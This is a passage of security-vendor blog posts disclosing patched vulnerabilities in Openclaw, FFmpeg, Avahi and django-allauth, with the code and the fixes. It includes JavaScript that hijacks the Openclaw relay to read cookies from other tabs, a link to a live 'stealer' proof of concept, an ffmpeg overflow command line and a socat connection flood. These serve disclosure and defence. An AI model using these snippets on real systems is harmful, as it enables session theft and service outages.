their exploit development skills\! --- #### Malicious Websites Can Exploit Openclaw (aka Clawdbot) To Steal Credentials - **Date**: February 2, 2026 - **Authors**: John Walker - **Reading Time**: 5 minutes - **Keywords**: clawdbot, moltbot, openclaw, ai agent vulnerabilities, ai security, agent security, ZeroPath, static analysis, AI code scanner, security research, open source security - **URL**: https://zeropath.com/blog/openclaw-clawdbot-credential-theft-vulnerability Openclaw (aka Clawdbot) delivers impressive AI experiences but malicious websites can abuse it to steal your credentials --- # Malicious Websites Can Exploit Openclaw (aka Clawdbot) To Steal Credentials # Overview ![][image1] ZeroPath security researchers found a security flaw in the extremely popular Openclaw AI assistant formerly known as Clawdbot, which has earned 149k stars on its Github repo ([https://github.com/openclaw/openclaw](https://github.com/openclaw/openclaw)) in just its first few months. The flaw allowed malicious websites to abuse its browser relay server and steal cookies from other tabs open in the same browser. An attacker who can induce a user to visit a malicious site can hijack active sessions from unrelated websites, including from services like gmail or microsoft 365\. These session credentials are especially valuable because they do not require two factor auth to use, which is why modern AiTM (attacker in the middle) phishing kits like evilnginx target them. We’ve reached out to Openclaw via a Github Security Advisory ([https://github.com/openclaw/openclaw/security/advisories/GHSA-mr32-vwc2-5j6h](https://github.com/openclaw/openclaw/security/advisories/GHSA-mr32-vwc2-5j6h)), and the issue has been patched as of commit [a1e89afcc19efd641c02b24d66d689f181ae2b5c](https://github.com/openclaw/openclaw/commit/a1e89afcc19efd641c02b24d66d689f181ae2b5c). # Openclaw (aka Clawdbot) Openclaw is a bleeding edge, AI-powered personal assistant that has taken the world by storm over the last few weeks. Maturity-wise, it’s unapologetically closer to early stage proof of concept than a stodgy enterprise app, but if you’re willing to give the 0.1 version of an AI agent sweeping access to your computer and accept the sharp edges that comes with, it delivers experiences that are almost magical at times. It’s exactly because the assistant is so powerful that security issues in it are significant – excited early adopters don’t necessarily take the disclaimers that it should only be used in environments where security is not a priority seriously, making it important to surface and fix some of the rough edges to protect its rapidly-growing community. # History of Openclaw Security Concerns Because Openclaw does not prioritize security, researchers have been able to uncover a number of significant issues, most notably Jamieson O’Reilly (@theonejvo) in this [excellent three part series](https://x.com/theonejvo/status/2016510190464675980). Jamieson found that many people configured Openclaw in a way that exposes the control panel to the world without authentication, allowing hackers to drive it. He also conducted multiple successful supply side attacks – adding a backdoored skill to Clawdhub, and devising an attack to steal Clawdhub users’ session credentials with a malicious svg. At ZeroPath, we focused on analyzing the Openclaw code itself rather than the infrastructure around it or issues caused by its default configuration. Our findings are not as flashy as some of this prior research, but they’re important because they suggest that, given the security quality of the code of the Openclaw agent itself, even a properly-configured and locked down instance of the agent can be compromised in unexpected ways. This is of course part of the deal you make when you install Openclaw – it’s exciting and useful, but does not aim to be secure (yet). # Openclaw Browser Functionality To understand the vulnerability we found, it’s necessary to understand how Openclaw interacts with the user’s browser. The assistant gives the user a number of options to let it access web pages, including installing a Chrome extension. If the user installs this extension, Openclaw starts up a HTTP server listening on port 17892 by default. This server exposes two WebSocket endpoints: * /extension – extension connects to this from within the user’s web browser * /cdp – Openclaw connects to this To orchestrate the browser, Openclaw sends commands using the [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) to the websocket endpoint at /cdp. The relay server then forwards the commands to the extension listening on the /extension websocket, and it executes them within the user’s browser. # The Bug The endpoint we’re interested in on the browser relay server is the /cdp one, which accepts arbitrary CDP commands. This endpoint seems secure at first glance: ```javascript const wssCdp = new WebSocketServer({ noServer: true }); server.on("upgrade", (req, socket, head) => { const url = new URL(req.url ?? "/", info.baseUrl); const pathname = url.pathname; const remote = req.socket.remoteAddress; if (!isLoopbackAddress(remote)) { rejectUpgrade(socket, 403, "Forbidden"); return; } // ... if (pathname === "/cdp") { // ... wssCdp.handleUpgrade(req, socket, head, (ws) => { wssCdp.emit("connection", ws, req); }); return; } rejectUpgrade(socket, 404, "Not Found"); }); ``` When a caller initiates a websocket connection (via the UPGRADE verb), Openclaw first checks to verify that the network connection is coming from an IP address local to the computer it’s being run on… if that check fails, the connection is rejected. Even if a user configured the relay to be accessible on the public internet, attackers could not connect to it. However, when javascript code served by a website running in the user’s browser creates a websocket, it uses the user’s own network interface to make the connection. This means malicious code running in a browser can evade the security restrictions and connect to the browser relay websocket, like this: ```javascript const ws = new WebSocket("ws://127.0.0.1:18792/cdp"); ``` Once connected, the malicious code can use the [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) to orchestrate the browser – for example, to run javascript in another tab: ```javascript ws.send(JSON.stringify({ id: 2, method: "Runtime.evaluate", // evaluates javascript sessionId: // session id obtained via previous command params: { expression: "document.cookie", // or any JS returnByValue: true } })); ``` Among other things, this allows a savvy attacker to steal and exfiltrate session tokens from other tabs, or insert malicious code into these tabs. The [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) is fairly extensive, and it may be that further abuse is possible. # The Fix When javascript code initiates a websocket connection from within a browser, regardless of whether it executes in the context of an extension or a webpage, the browser sets the “Origin” header on the request to the URL of the webpage or extension. This security measure cannot be bypassed. A minor modification to the browser relay limits websocket access to only the expected extension: ```javascript // ids of approved Openclaw extensions const ALLOWED_EXTENSION_IDS = new Set([ "abcdefghijklmnopqrstuvwxyz123456", ]); const origin = req.headers.origin; // websocket connections from extensions have an origin url that begins with chrome-extension:// const match = origin?.match(/^chrome-extension:\/\/([a-z]{32})$/); // Allow connections without origin (not initiated from within browser) and connections from the valid extension if (origin && (!match || !ALLOWED_EXTENSION_IDS.has(match[1]))) { rejectUpgrade(socket, 403, "Forbidden: invalid origin"); return; } ``` This mitigation does not block attackers with code running on the user’s machine from abusing the browser relay server – since those attackers are outside of the context of the browser, they can connect to the local server using any Origin header they want (or none at all). Possibly for this reason, Openclaw maintainers went even farther in their patch ([https://github.com/openclaw/openclaw/commit/a1e89afcc19efd641c02b24d66d689f181ae2b5c](https://github.com/openclaw/openclaw/commit/a1e89afcc19efd641c02b24d66d689f181ae2b5c)), adding active authentication on the /cdp endpoint, making it more difficult even for malicious local code to abuse the /cdp endpoint. # Full POC We’ve provided a fully-working proof of concept for people who’d like to test if their setup is vulnerable, or explore further: Code: [https://github.com/ZeroPathAI/clawdbot-stealer-poc](https://github.com/ZeroPathAI/clawdbot-stealer-poc) Live version (will not work against Openclaw versions released after February 2nd 2026): [http://clawdbotstealer.s3-website-us-east-1.amazonaws.com/](http://clawdbotstealer.s3-website-us-east-1.amazonaws.com/) # AI-Powered SAST We discovered this issue quickly using our own ZeroPath’s AI-Powered SAST engine. We won’t bore you with a sales pitch here, but if you’d like to find out more, [this post](https://zeropath.com/blog/how-zeropath-won-over-curl-with-170-valid-bugs) about ZeroPath finding 170 valid, accepted issues in the curl project is a good starting point. [image1]: --- #### Autonomously Finding 7 FFmpeg Vulnerabilities With AI - **Date**: December 2, 2025 - **Authors**: ZeroPath Team - **Reading Time**: 15 minutes - **Keywords**: ffmpeg, ZeroPath, static analysis, AI code scanner, security research, open source security, memory safety, buffer overflow, off-by-one, integer overflow, CVEs - **URL**: https://zeropath.com/blog/autonomously-finding-7-ffmpeg-vulnerabilities-with-ai-2025 ZeroPath's AI-assisted SAST analyzed FFmpeg and reported seven distinct memory safety flaws, including buffer overflows and invalid memory writes, missed by traditional tools. --- # Autonomously Finding 7 FFmpeg Vulnerabilities With AI ## Introduction ZeroPath's AI-assisted SAST analyzed FFmpeg's protocol handlers, parsers, filters, and Android glue code, and reported seven distinct memory safety flaws. Each issue stems from a mismatch between what the developers intended to guarantee and what the code actually does. This is precisely the class of issues that traditional SASTs miss: subtle, logically-flawed code, that cannot be detected with simple pattern matching. Below we document each case, and some guesses as to why conventional tools failed to pick them up. We also include the original ZeroPath report, to give an idea of how our tool explains the issues it finds. Due to lack of space in this blog post, we will not be including our verbose, targeted source-to-sink tracker output, which also visually describes the pathway of how each bug occurs; nor will we be demonstrating our AI-based patch generation which autonomously creates patches for issues that are detected. If you're interested in checking those out, register for a free account at ZeroPath and try it out; otherwise, we'll have another post pretty soon showing how this works! If you're interested in learning about how ZeroPath actually works, take a look at [our explainer](https://zeropath.com/blog/how-zeropath-works), which outlines some of our architectural decisions in creating ZeroPath. All of these bugs have been patched by the FFmpeg team, and we thank them for their hard work and dedication when it comes to their codebase and security. --- ## 1) Android MediaCodec audio: Buffer overflow due to a truncated sample count and full-size copy >mediacodec_wrap_sw_audio_buffer() computes frame->nb_samples by dividing info->size by (sample_size * channels), allocates buffers via ff_get_buffer() based on that truncated nb_samples, then memcpy()s info->size bytes into the allocated buffer. If info->size is not an exact multiple of (sample_size * channels) the memcpy will write up to (unit - 1) bytes past the allocation, causing a heap buffer overflow. The overflow is reachable from attacker-provided media sent through Android MediaCodec APIs. This buffer overflow exists in ffmpeg's Android MediaCodec player, in the `mediacodec_wrap_sw_audio_buffer` function, making it a juicy target for Android devices (and really, Android devices only): ```c static int mediacodec_wrap_sw_audio_buffer(AVCodecContext *avctx, MediaCodecDecContext *s, uint8_t *data, size_t size, ssize_t index, FFAMediaCodecBufferInfo *info, AVFrame *frame) { int ret = 0; int status = 0; const int sample_size = av_get_bytes_per_sample(avctx->sample_fmt); if (!sample_size) { av_log(avctx, AV_LOG_ERROR, "Could not get bytes per sample\n"); ret = AVERROR(ENOSYS); goto done; } frame->format = avctx->sample_fmt; frame->sample_rate = avctx->sample_rate; frame->nb_samples = info->size / (sample_size * avctx->ch_layout.nb_channels); [..] ret = ff_get_buffer(avctx, frame, 0); // allocates frame->data[0] based on frame->nb_samples [..] memcpy(frame->data[0], data, info->size); ``` The problem with the above code was that the allocation of memory for the `frame->data[0]` buffer was performed with the assumption that `frame->nb_samples` would directly correspond to `info->size`. However in reality, this calculation: ``` info->size / (sample_size * avctx->ch_layout.nb_channels) ``` may produce a too-small number, if `info.size` was not a multiple of `sample_size * channels`, due to integer truncation. For example, `25/10=2.5`, which would allocate only `20` bytes of data, but the `memcpy()` call would pass `info->size = 25`, producing a heap buffer overflow. **Why typical tools missed it** * Reaching this wrapper requires Android MediaCodec plumbing and realistic buffer sizes. * Division-based truncation does not look suspicious locally; the copy uses a variable that appears "validated” by earlier code. **Why our AI SAST flagged it** The analyzer built the unit relation `frame_unit = sample_size * channels`, inferred the contract `alloc_bytes >= nb_samples * frame_unit`, and compared it to the later `copy_bytes = info.size`. It then searched for `info.size = k * frame_unit + r` with `r > 0`, which violates the equality that the code implicitly relies on. The patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20810). The fix involves ensuring that no integer truncation has occured in the sample and frame allocation calculations. --- ## 2) RTMP client: Buffer overflow due to unbounded AMF serialization from attacker-controlled parameters >The RTMP client code (gen_connect) allocates a fixed-size packet buffer and writes arbitrary AMF fields derived from the rt->conn string into that buffer without checking remaining capacity. An attacker-controlled rtmp_conn can be tokenized and serialized into the packet, overflowing the allocated buffer and causing heap corruption/crashes. This bug exists in the Real-Time Messaging Protocol (RTMP) code of FFmpeg, This issue was quite basic, and a bit surprising that it wasn't found before. It mostly stemmed from a packet which was built with a local parameter, which simply overflows a heap buffer when constructing a network packet. This isn't the most exciting vulnerability due to the requirement to control a local parameter when ffmpeg is called, but it could be easily reproduced with the following: ```bash ffmpeg -v debug -nostdin -re -f lavfi -i anullsrc=r=44100:cl=mono \ -f flv -rtmp_conn $(perl -e 'print "4" x 7000;') "rtmp://127.0.0.1:1935/live/stream" ``` **Why typical tools missed it** * Most fuzz harnesses treat RTMP as a network transport and do not drive the client-side packet builder. * The writes are split across helpers, each of which seems locally correct; capacity is not rechecked at the call site. **Why our AI SAST flagged it** The analyzer inferred an *implicit maximum encoded size* contract from neighboring builders and observed that the caller did not maintain a decrementing "remaining” counter. It then symbolically encoded a long `conn` list and demonstrated that the cumulative writes exceed the buffer. The patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20796). --- ## 3) ICY metadata: Off-by-one NUL on the stack >In store_icy(), the code reads ch16 bytes of metadata into a local buffer of size (25516 + 1) and then writes a NUL byte at data[len + 1] instead of at data[len]. For the maximum allowed ch (0..255) this results in a write one past the intended terminator. This off-by-one write can corrupt adjacent stack state, leading to crashes or memory corruption and potentially enabling exploit primitives (denial-of-service or code execution) when processing crafted remote ICY metadata. Icecast (ICY) is an oldschool protocol that is built on top of HTTP to retrieve internet radio streams and play them. In this vulnerability's case, metadata retrieved from an external server could write past the stack buffer, due to a simple off-by-one bug. The bug is quite obvious, and it's again quite surprising it hasn't been found before: ```c static int store_icy(URLContext *h, int size) [..] if (len < 0) return len; if (ch > 0) { char data[255 * 16 + 1]; int ret; len = ch * 16; ret = http_read_stream_all(h, data, len); if (ret < 0) return ret; data[len+1] = 0; [..] ``` While `http_read_stream_all()` rejected a too-large `len` of anything bigger than `255 * 16 + 1`, it did not account for the fact that right on the edge-case of `len = 255 * 16 + 1`, the null-pointer may be written out-of-bounds later on. **Why typical tools missed it** * Many test inputs never reach the extreme value where `len` equals the maximum; fuzzers bias toward varied content rather than precise boundary multiples. * The pattern resembles typical safe termination and passes superficial checks. **Why our AI SAST flagged it** The analyzer tracked `len` as `ch * 16` and proved that for `ch = 255` the write index equals the array bound, violating the buffer's exact size by one. The patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20804). The patch was to simply set `data[len] = 0;` instead of using `len+1`. --- ## 4) RTP RFC4175 uncompressed video: Buffer overflow due to integer overflow in offset arithmetic >In rfc4175_handle_packet(), the code computes copy_offset from attacker-controlled line and offset values extracted from RTP packet headers, then checks if copy_offset + length > data->frame_size before calling memcpy. However, for large video dimensions, the intermediate calculation (line * data->width + offset) * data->pgroup / data->xinc can overflow a signed 32-bit integer, wrapping to a negative value. This causes the bounds check to pass incorrectly and allows a heap buffer overflow via crafted RTP packets, enabling remote code execution or denial of service. This bug, in the RFC4175 Real-time Transport Protocol (RTP) raw video parser, is another classic buffer overflow caused by an integer overflow. This time, it's an externally-driven integer (RTP is used for delivering audio/video over IP networks), allowing a remote exploit. The bug was in the `rfc4175_handle_packet()` function, which did something along the lines of this: ```c line = ((headers[2] & 0x7f) << 8) | headers[3]; offset = ((headers[4] & 0x7f) << 8) | headers[5]; cont = headers[4] & 0x80; headers += 6; data->field = field; if (!data->pgroup || length % data->pgroup) return AVERROR_INVALIDDATA; if (length > payload_len) length = payload_len; if (data->interlaced) line = 2 * line + field; /* prevent ill-formed packets to write after buffer's end */ copy_offset = (line * data->width + offset) * data->pgroup / data->xinc; if (copy_offset + length > data->frame_size || !data->frame) return AVERROR_INVALIDDATA; dest = data->frame + copy_offset; memcpy(dest, payload, length); ``` The issue stemmed from the fact that the calculation of the correct offset of the buffer (`data->frame + copy_offset`) did not account for massive numerical values of the height of a stream's frame, which could result in the incorrect calculation of `line`, or `copy_offset`, which resulted in the inequality `copy_offset + length > data->frame_size` being false, due to `copy_offset + length` being false when the integer wrapped around to a negative due to truncation. Even though there were protections in place to prevent ill-formed packets from causing a buffer overflow, the protection was insufficient, as our SAST calculated. **Why typical tools missed it** * Using RFC4175 requires network-driven streams and valid packet sequences. **Why our AI SAST flagged it** The analyzer normalized the arithmetic to a 64-bit model, derived upper bounds from legal video parameters, and produced cases where intermediate additions exceed `INT_MAX` while remaining plausible for modern resolutions. This patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20803). The patch was as simple as: ```c if (line >= data->height) return AVERROR_INVALIDDATA; ``` --- ## 5) drawtext with detection bboxes: Buffer overwrite due to separator budgeting error in string build >The drawtext filter concatenates detection bbox labels into a heap-allocated buffer without accounting for separator overhead. When text_source=AV_FRAME_DATA_DETECTION_BBOXES, it allocates s->text to AV_DETECTION_BBOX_LABEL_NAME_MAX_SIZE*(AV_NUM_DETECTION_BBOX_CLASSIFY+1) (320 bytes). Later, it copies the detect_label and up to AV_NUM_DETECTION_BBOX_CLASSIFY classify_labels with ", " separators using strcpy/strcat, which can exceed the allocated size (e.g., 64 + 4*(2+64) = 328) and overflow s->text, leading to heap memory corruption. FFmpeg's `drawtext` filter is designed to display text over video, and it can take input from a few different sources. When `text_source` is set to detection bounding boxes (which are used in object detection, like detecting and labeling things in a video frame), the filter works by concatenating labels that describe the detected objects into a single text string. To fit the text string into memory, the memory was allocated as such: ```c s->text = av_mallocz(AV_DETECTION_BBOX_LABEL_NAME_MAX_SIZE * (AV_NUM_DETECTION_BBOX_CLASSIFY + 1)); ``` This, however, was insufficient for allocation, as the text string is a concatenation of the text and `", "`, for each label. **Why typical tools missed it** * Most harnesses do not populate detection metadata in frames. * String handling with `strcpy` and `strcat` appears benign for typical label sizes and silently becomes unsafe when all labels are at maximum length. **Why AI SAST flagged it** The analyzer computed a worst-case label vector of length bounds and added separator overhead. If up to `k` labels can be concatenated, the allocation must include `sum(label_lengths) + 2 * (k - 1) + 1` for separators and terminator. The code budgeted only `k * max_label + 1`. It then compared the exact bound to the allocated size and marked the overflow when all labels hit their maxima. This patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20811). The allocation simply changed to: ```c s->text = av_mallocz((AV_DETECTION_BBOX_LABEL_NAME_MAX_SIZE + 1) *(AV_NUM_DETECTION_BBOX_CLASSIFY + 1)); ``` --- ## 6) WHIP muxer: invalid free due to incorrect stream index and freeing an invalid pointer >In create_rtp_muxer (libavformat/whip.c), for each input stream the code creates an rtp_ctx and a single stream inside it (index 0). Later it incorrectly accesses rtp_ctx->streams[i]->codecpar (using the loop index i) when it should access rtp_ctx->streams[0]. For s->nb_streams > 1 this references out-of-bounds memory and then calls av_freep() on that pointer, leading to memory corruption or a crash (Denial of Service) during WHIP initialization. FFmpeg's WebRTC-HTTP Ingestion Protocol (WHIP) muxer had a simple logical flaw in its muxing code when using the H264 codec, resulting in an invalid free of an out-of-bounds pointer, during connection setup. Previously, the muxer code did something like this: ```c for (i = 0; i < s->nb_streams; i++) { [..] /** * For H.264, consistently utilize the annexb format through the Bitstream Filter (BSF); * therefore, we deactivate the extradata detection for the RTP muxer. */ if (s->streams[i]->codecpar->codec_id == AV_CODEC_ID_H264) { av_freep(&rtp_ctx->streams[i]->codecpar->extradata); rtp_ctx->streams[i]->codecpar->extradata_size = 0; } ``` To cut a long story short, in WHIP and H264, the _inner_ RTP context (`rtp_ctx`) *always* holds exactly one stream at index zero, regardless of how many streams the packet contains. If a packet contained multiple streams, the loop would attempt to read (and possibly free) the invalid pointer, `rtp_ctx->streams[i]` where `i >= 1`. This will simply result in a crash on most systems. **Why typical tools missed it** * Muxer inits are exercised far less than demuxers in typical fuzz targets. * Many test pipelines only mux a single stream, which masks the out-of-bounds access. **Why AI SAST flagged it** The analyzer tracked cardinality from the constructor to the use site. It saw a single-element container on the producer path and an index that comes from an unrelated loop on the consumer path, then proved the index can exceed zero for multi-stream inputs. The patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20805). It's nothing complicated at all: ```diff - av_freep(&rtp_ctx->streams[i]->codecpar->extradata); - rtp_ctx->streams[i]->codecpar->extradata_size = 0; + av_freep(&rtp_ctx->streams[0]->codecpar->extradata); + rtp_ctx->streams[0]->codecpar->extradata_size = 0; ``` --- ## 7) SCTP write: buffer underflow due to caller-controlled header consumption without length guard >sctp_write forwards caller-controlled buffer and length directly to the socket. When s->max_streams is set there is no check that the provided size is >= 2 before reading the first two bytes (AV_RB16(buf)) and calling ff_sctp_send(buf + 2, size - 2, ...). This can result in out-of-bounds reads, integer-to-size_t conversion of negative lengths, crashes, and potentially disclosure of process memory to the network if an attacker can control buf and size. The stream id is taken directly from the buffer and only checked with a > comparison against max_streams, which may allow incorrect stream selection if semantics are mismatched. In another logical flaw which depended on specific flags being set in the call-path, FFmpeg's Stream Control Transmission Protocol (SCTP) handler contained a logic flaw when writing a buffer to a socket, leading to a massive out-of-bounds reads due to the incorrect calculation of the size of a buffer and integer overflow. The `sctp_write()` function did the following: ```c if (s->max_streams) { /*StreamId is introduced as a 2byte code into the stream*/ struct sctp_sndrcvinfo info = { 0 }; info.sinfo_stream = AV_RB16(buf); if (info.sinfo_stream > s->max_streams) { av_log(h, AV_LOG_ERROR, "bad input data\n"); return AVERROR_BUG; } ret = ff_sctp_send(s->fd, buf + 2, size - 2, &info, MSG_EOR); } else ret = send(s->fd, buf, size, MSG_NOSIGNAL); ``` This code reads a 16-bit stream id from the start of the buffer and forwards `buffer + 2` with `size - 2`. This is problematic, because there is no actual check requiring `size >= 2`, meaning, for example, `size - 2` as is passed to `ff_sctp_send()`, may be equal to `-2`. `ff_sctp_send()`'s second parameter is a `size_t` type, meaning `-2` underflows to a massive number, resulting in a massive amount of memory being sent and disclosed over the socket. Other similar code correctly, before consuming an inline header, validated that the input length satisfied the header size and that the remaining payload length stayed nonnegative after subtraction. **Why typical tools missed it** * SCTP is rarely enabled in default builds and seldom exercised in fuzz setups. * SCTP is network-orientated and this vulnerability relies on both receiving and sending packets. **Why AI SAST flagged it** The analyzer treats "consume header then forward remainder” as a standard pattern. It generated a minimal counterexample `size = 0 or 1`, established that `size - 2` becomes negative, and followed the value through conversion sites and subsequent reads. The patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20809), and was simple enough: ```diff +++ b/libavformat/sctp.c @@ -332,6 +332,9 @@ static int sctp_write(URLContext *h, const uint8_t *buf, int size) } if (s->max_streams) { + if (size < 2) + return AVERROR(EINVAL); [..] ``` --- ## How ZeroPath's AI SAST reasons about intent Across these seven cases the engine applied a small set of reusable intent models: * **Allocation and copy alignment.** If an allocation is computed from a derived unit, any later copy must be bounded by the same unit relation. The system symbolically searches for residues and rounding effects that violate the equality. * **Framing invariants.** When code constructs "header then payload” blocks, the header length must be less than or equal to the block size. The analyzer confirms this with linear constraints and examines both signed and unsigned interpretations. * **Packet builder capacities.** For encoders that write variable-length fields into fixed buffers, the engine checks that every write decrements a shared capacity variable or passes through a helper that enforces capacity. Missing decrements are treated as violations of an inferred contract. * **Cardinality propagation.** If a function creates exactly one stream or exactly N entries, downstream code must not index beyond that cardinality. The engine follows these facts interprocedurally and flags mismatches at use sites. * **Offset arithmetic integrity.** When writing into frame buffers, the analyzer lifts index math into a wide-integer domain, then proves whether offsets fit into the destination bounds for the legal domain of widths, heights, strides, and pixel sizes. This blend of symbolic execution, unit reasoning, and contract inference is what distinguishes AI-powered SAST from rule-matching and pure coverage exploration. Rather than waiting for a random input to stumble into a failure, it proves the existence of violating inputs and gives you the exact shape of those inputs. --- ## Why the usual tools missed these vulnerabilities ### Fuzzers Modern fuzzers excel at exercising decoders that accept single-file inputs. Several of these bugs require: * environment-gated paths such as Android MediaCodec, WHIP initialization, or SCTP; * protocol handshakes and multi-packet state (RTMP, RTP RFC4175); * metadata that must be injected into `AVFrame` side data rather than the media bitstream (drawtext detection labels). Fuzzing harnesses typically stop at demux or decoder entry points with file inputs and do not emulate network sessions, signaling, or platform frameworks. That leaves entire classes of packet builders, mux inits, and filter paths under-exercised. ### Traditional static analysis Rule packs catch direct misuse patterns, but frequently miss cross-function resource contracts such as "derive allocation from A, then copy size B that was not derived from A,” or "read a header field that semantically bounds a later write, but never validate the relation.” These checks require reasoning about *intent* and *units* across call chains, not just local anti-patterns. ## ZeroPath's AI SAST Our analyzer constructs *semantic contracts* from code structure, sibling functions, and common protocol idioms, then proves or refutes them along real call graphs. When a developer clearly intended two quantities to align — for example, a byte count used for allocation and the same count used for copy — the engine treats that as an invariant and searches for counterexamples, including integer truncation, alignment rounding, or unit mismatches. If you've enjoyed taking a look at these vulnerabilities, how they were discovered by logical reasoning by an AI SAST, and their technical details, don't forget to check back soon, as we'll be documenting a bunch of similar vulnerabilities we've discovered in the Linux kernel, too. --- #### Avahi Simple Protocol Server DoS (CVE-2025-59529) - **Date**: November 18, 2025 - **Authors**: ZeroPath Team - **Reading Time**: 8 minutes - **Keywords**: Avahi, mDNS, DNS-SD, Zeroconf, CVE-2025-59529, denial of service, resource exhaustion, nss-mdns, Unix domain socket, ZeroPath - **URL**: https://zeropath.com/blog/avahi-simple-protocol-server-dos-cve-2025-59529 A logic flaw in Avahi Simple Protocol Server ignored the configured client limit, allowing any user to open unlimited connections and exhaust memory and file descriptors, causing a system-wide denial of service for mDNS and DNS-SD. --- # Avahi Simple Protocol Server DoS (CVE-2025-59529) _TL;DR_ — ZeroPath's AI-powered SAST found a business-logic vulnerability in Avahi, where the daemon kept accepting new Simple Protocol clients even after a configured limit should have kicked in. This let any local user exhaust memory and FDs until the daemon becomes unresponsive, breaking .local name resolution and services that rely on mDNS/DNS-SD. --- ## Background Avahi provides multicast DNS and DNS Service Discovery on Linux, commonly known as Bonjour compatibility. It is widely shipped by Linux distributions and is used by the nss-mdns module so that standard libc name lookups can resolve .local hostnames and link-local addresses without manual DNS configuration. ## What we found ### The limit that never limits Scanning Avahi with ZeroPath's AI-powered SAST, we found that the Avahi code defined a maximum client limit, `CLIENTS_MAX`, which was documented to limit the maximum number of connections that a single client (user) could keep open at any one time. However, Avahi's main worker loop did not actually enforce this limit in its Simple Protocol code, calling `accept()` unconditionally: ```c static void server_work(AVAHI_GCC_UNUSED AvahiWatch *watch, int fd, AvahiWatchEvent events, void *userdata) { Server *s = userdata; assert(s); if (events & AVAHI_WATCH_IN) { int cfd; if ((cfd = accept(fd, NULL, NULL)) < 0) avahi_log_error("accept(): %s", strerror(errno)); else client_new(s, cfd); } } ``` Instead of dropping potentially-malicious clients, the code simply accepted and held open each new connection unconditionally, indefinitely. Once Avahi hit the process file descriptor ceiling, the loop repeatedly failed with `EMFILE` and logged an error for every incoming connection, compounding the resource pressure by hammering the logger. ## Impact * Any unprivileged local user can force Avahi to consume memory and file descriptors until it is unresponsive, effectively a local DoS. * System load rises due to log storms as each failed `accept()` generates an error entry. * mDNS and DNS-SD resolution fail during the event, which breaks discovery, and hostname resolution for .local and link-local addresses through nss-mdns. * Secondary effects include delays or failures for desktop shells, service browsers, IDEs, and automation tools that expect zeroconf to be available. Given the local attack vector and the availability impact, we rate this as moderate severity. The CVE record is CVE-2025-59529. ## Proof of concept To demonstrate this vulnerability, we can simply flood the UNIX simple-protocol socket with idle connections like so: ```bash for i in $(seq 1 4000); do socat - UNIX-CONNECT:/run/avahi-daemon/socket >/dev/null 2>&1 & done wait ``` Watching avahi-daemon's memory/FD count grow until it becomes unresponsive or crashes, we'll see Avahi start to log messages like this: ``` accept(): Too many open files accept(): Too many open files accept(): Too many open files ... ``` ## Wrapping Up The most difficult-to-find vulnerabilities in any codebase are those such that there is no code at all; missing protection, missing checks, and missing logic. LLMs have been shown to have a remarkable skill for finding logical inconsistencies in code like in this example: our system inferred that the `CLIENTS_MAX` variable should have limited the amount of connections a single user could make to the Avahi daemon based on its documentation and variable name, and reported that the logic disagreed with the actual code. These types of issues – logical flaws leading to security vulnerabilities – continue to be found with ZeroPath, and we're excited what the future holds in its ability to find and fix even more issues. --- #### 7 vulnerabilities in django-allauth enabling account impersonation and token abuse - **Date**: November 5, 2025 - **Authors**: ZeroPath Team - **Reading Time**: 5 minutes - **Keywords**: django-allauth, ZeroPath, static analysis, AI code scanner, security research, open source security, authentication vulnerability, bug triage, allauth, django authentication - **URL**: https://zeropath.com/blog/django-allauth-account-takeover-vulnerabilities Our audit of django-allauth uncovered seven vulnerabilities, including two that enable user impersonation and others affecting token handling, email verification, and HTTP configuration. We detail how our AI-assisted scanner exposed these logic-level issues, the patches applied, and what developers should do to secure their authentication flows. --- # 7 vulnerabilities in django-allauth enabling account impersonation and token abuse _TL;DR_ – We audited `django-allauth` and found four major vulnerabilities, two of which enable user impersonation, plus several minor issues. All are fixed in 65.13.0. [Upgrade now](https://allauth.org/news/2025/10/django-allauth-65.13.0-released/). ---------- ## Introduction `allauth/django-allauth` is an extremely popular modular authentication suite for Django, that handles identity and authentication, email verification, and account management, including "social login" via a ton of third-party providers. With over [10,000](https://github.com/pennersr/django-allauth) on GitHub and nearly [2,000,000](https://pypistats.org/packages/django-allauth) monthly downloads on PyPI, it's the one-stop-shop for local auth and social auth (with OAuth/OIDC and SAML providers). With such a broad range of support for so many authentication providers, we thought we'd perform some tests with our scanner. We found two account impersonation vulnerabilities, as well as some other issues. They’re detailed below. ## Vulnerabilities ### Major Vulnerabilities Four major vulnerabilities were discovered in this codebase: - Okta identifiers were mutable. - NetIQ identifiers were mutable. - Tokens for deactivated users could be refreshed indefinitely. - Notion emails are marked as verified. ### Minor Vulnerabilities - Recovery codes could be cached by reverse proxies (or browsers). - Insecure HTTP URLs used for OAuth endpoints. - URI-quoting relied on incorrect Python ordering. ## Breakdown ### Major Vulnerability Details The most interesting vulnerabilities discovered in `django-allauth` happened to be the most critical, too. Instead of going into a long spiel about each of the issues, I'm just going to list exactly what our scanner discovered and told us. #### Mutable/non-unique provider-attribute used as UID from Okta and NetIQ > The function uses the OAuth response field preferred_username as the account UID. Many OAuth/OIDC providers expose both a stable `sub` (subject) claim and optional, user-facing fields like `preferred_username`. preferred_username is often mutable and/or not globally unique. Using it as the canonical provider UID can allow account takeover or accidental account linking: an attacker can change their preferred_username to match another social-account's stored UID (or exploit case differences), and may authenticate as the other user or cause cross-account mapping. Basically, `preferred_username` is not a unique value for an account from the OIDC identity providers Okta and NetIQ. This means it could be possible to impersonate another user on a Django application using `django-allauth`, by changing your "preferred_username" on Okta or NetIQ to that of another user, and the authentication mechanism would blindly trust it. Want to authenticate as the unique user `zezima` on the application? Just change your `preferred_username` in Okta or NetIQ to `zezima`! This was fixed [here](https://codeberg.org/allauth/django-allauth/commit/8feef46e0e07b25fc5594c8f268afa247ebc3412). #### Token issued to disabled user / no account-state check before issuing tokens > After resolving the user object from device authorization data, the code assigns `orequest.user` and allows `OAuthlib` to mint tokens without explicitly verifying that the user is still permitted to receive tokens (for example, `user.is_active`). If the account was disabled after the user authorized the device, this handler may still result in tokens being issued for that account unless downstream validators enforce the 